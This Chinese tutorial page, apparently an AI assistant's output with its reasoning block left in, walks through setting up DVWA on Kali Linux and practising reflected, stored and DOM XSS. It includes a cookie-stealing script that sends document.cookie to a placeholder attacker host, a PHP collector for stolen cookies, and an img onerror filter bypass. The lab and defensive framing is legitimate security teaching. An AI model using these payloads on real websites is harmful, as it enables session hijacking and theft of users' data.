<think>我们正在讨论的是
KaliLinux上进行
XSS跨站脚本攻击的教程。根据引用内容，
XSS攻击分为反射型、存储型和DOM型，而实践环境通常使用
DVWA（Damn Vulnerable
WebApplication）
靶机。下面将分步骤说明如何在
Kali Linux上
搭建DVWA并进行
XSS攻击实验。
###步骤1：安装
Kali Linux并更新系统确保你已安装
KaliLinux。打开终端，执行以下命令更新系统：```bashsudoapt update&& sudoapt upgrade
-y```###步骤2：安装必要的软件
DVWA需要
Web服务器（如Apache）、数据库（如MySQL）和PHP支持。在
KaliLinux上安装LAMP环境：
```bashsudo aptinstall apache2mysql
-serverphp libapache2
-mod
-phpphp
-mysql
-y```
###步骤3：启动Apache和MySQL服务```bashsudo systemctl startapache2sudo systemctl startmysql```
###步骤4：配置MySQL数据库运行
安全脚本并设置root密码（按提示操作）：```bashsudomysql_secure_installation```
登录MySQL，创建
DVWA数据库和用户：```bashsudomysql
-u root
-p```在MySQL提示符下执行：```sqlCREATEDATABASE
dvwa;
CREATEUSER '
dvwa'@'localhost'IDENTIFIED BY'password';
GRANT ALLPRIVILEGES ON
dvwa.* TO'
dvwa'@'localhost';FLUSHPRIVILEGES;exit;```
###步骤5：下载并配置
DVWA下载
DVWA：```bashcd/var/www/htmlsudogit clonehttps://github.com/digininja/
DVWA.git```设置权限：
```bashsudo chown
-R www
-data:www
-data
DVWAsudochmod
-R755
DVWA```###步骤6：配置
DVWA数据库连接复制配置文件模板：
```bashcd
DVWA/configsudocp config.inc.php.dist config.inc.php```
编辑`config.inc.php`，修改数据库连接信息：```php$_
DVWA['db_user'] ='
dvwa';$_
DVWA['db_password'] ='password';
```###步骤7：访问
DVWA并初始化在浏览器中打开：`http://localhost/
DVWA/setup.php`，点击“Create/ResetDatabase”按钮初始化数据库。默认登录凭证：`admin`/`password`。
###步骤8：进行
XSS攻击实验以反射型
XSS为例：
1.在
DVWA左侧选择“
XSS Reflected”。2.在输入框中尝试注入脚本，例如：`<script>alert(document.cookie)</script>`。
3.提交后，如果页面弹出包含cookie的警告框，说明
攻击成功。
存储型
XSS（在留言板等处注入）和DOM型
XSS（通过修改URL参数触发）
实验方法类似，但需注意
DVWA的
安全级别设置（可在
DVWA中调整）。###注意事项
-实验仅在本地环境进行，切勿对未授权网站进行测试。
-理解每种
XSS类型的
原理和防御措施。§§相关问题§§1.如何防御
XSS攻击？
2.
DVWA中如何调整
安全级别？3.除了
DVWA，还有哪些常用的
Web安全实验靶场？</think>###
Kali Linux上进行
XSS跨站脚本攻击的实践教程
XSS攻击通过在目标网站注入恶意脚本窃取用户信息或执行恶意操作[^1]。以下是在
Kali Linux环境下进行
XSS攻击实验的完整步骤：
---
#### **一、环境准备**
1. **安装
Kali Linux**
确保已安装最新版
Kali Linux（推荐2023.x+版本）
2. **安装必要工具**
```bash
sudo apt update
sudo apt install apache2 php mysql
-server git
-y
```
3. **启动服务**
```bash
sudo systemctl start apache2 mysql
```
---
#### **二、
搭建DVWA靶机**
DVWA（Damn Vulnerable
Web App）是专为
安全测试设计的漏洞环境[^2]：
```bash
cd /var/www/html
sudo git clone https://github.com/digininja/
DVWA.git
sudo chown
-R www
-data:www
-data
DVWA
```
1. 访问 `http://localhost/
DVWA/setup.php`
2. 点击 **Create/Reset Database** 初始化数据库
3. 登录账号：`admin`/`password`
> 在
DVWA安全设置中调整难度为 **LOW**：`
DVWA Security
-> Low`
---
#### **三、
XSS攻击实践**
##### **1. 反射型
XSS**（非持久化
攻击）
```bash
# 访问
XSS测试页面
http://localhost/
DVWA/vulnerabilities/
xss_r/?name=<script>alert(1)</script>
```
当参数`name`被注入恶意脚本时，浏览器会执行弹窗[^3]。
##### **2. 存储型
XSS**（持久化
攻击）
1. 进入
DVWA的 **
XSS Stored** 模块
2. 在留言板输入：
```html
<script>alert(document.cookie);</script>
```
3. 提交后，所有访问该页面的用户都会触发脚本泄露cookie
##### **3. DOM型
XSS**
```bash
# 构造恶意URL
http://localhost/
DVWA/vulnerabilities/
xss_d/?default=<script>alert("DOM
XSS")</script>
```
---
#### **四、实战技巧**
1. **窃取Cookie**
使用真实
攻击脚本：
```html
<script>new Image().src="http://
攻击者IP/cookie.php?c="+document.cookie;</script>
```
在
攻击机创建`cookie.php`：
```php
<?php file_put_contents("stolen_cookies.txt", $_GET['c']); ?>
```
2. **防御绕过**
当过滤`<script>`标签时尝试：
```html
<img src=x onerror=alert(1)>
```
---
#### **五、防御建议**
1. 输入输出过滤（如HTML实体编码）
2. 使用CSP（Content Security Policy）
3. 设置HttpOnly Cookie标志
> ⚠️ **法律声明**：本教程仅用于授权环境的
安全学习，未经授权的
攻击行为违法。
---
最低0.47元/天 解锁文章
扫一扫
1490
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
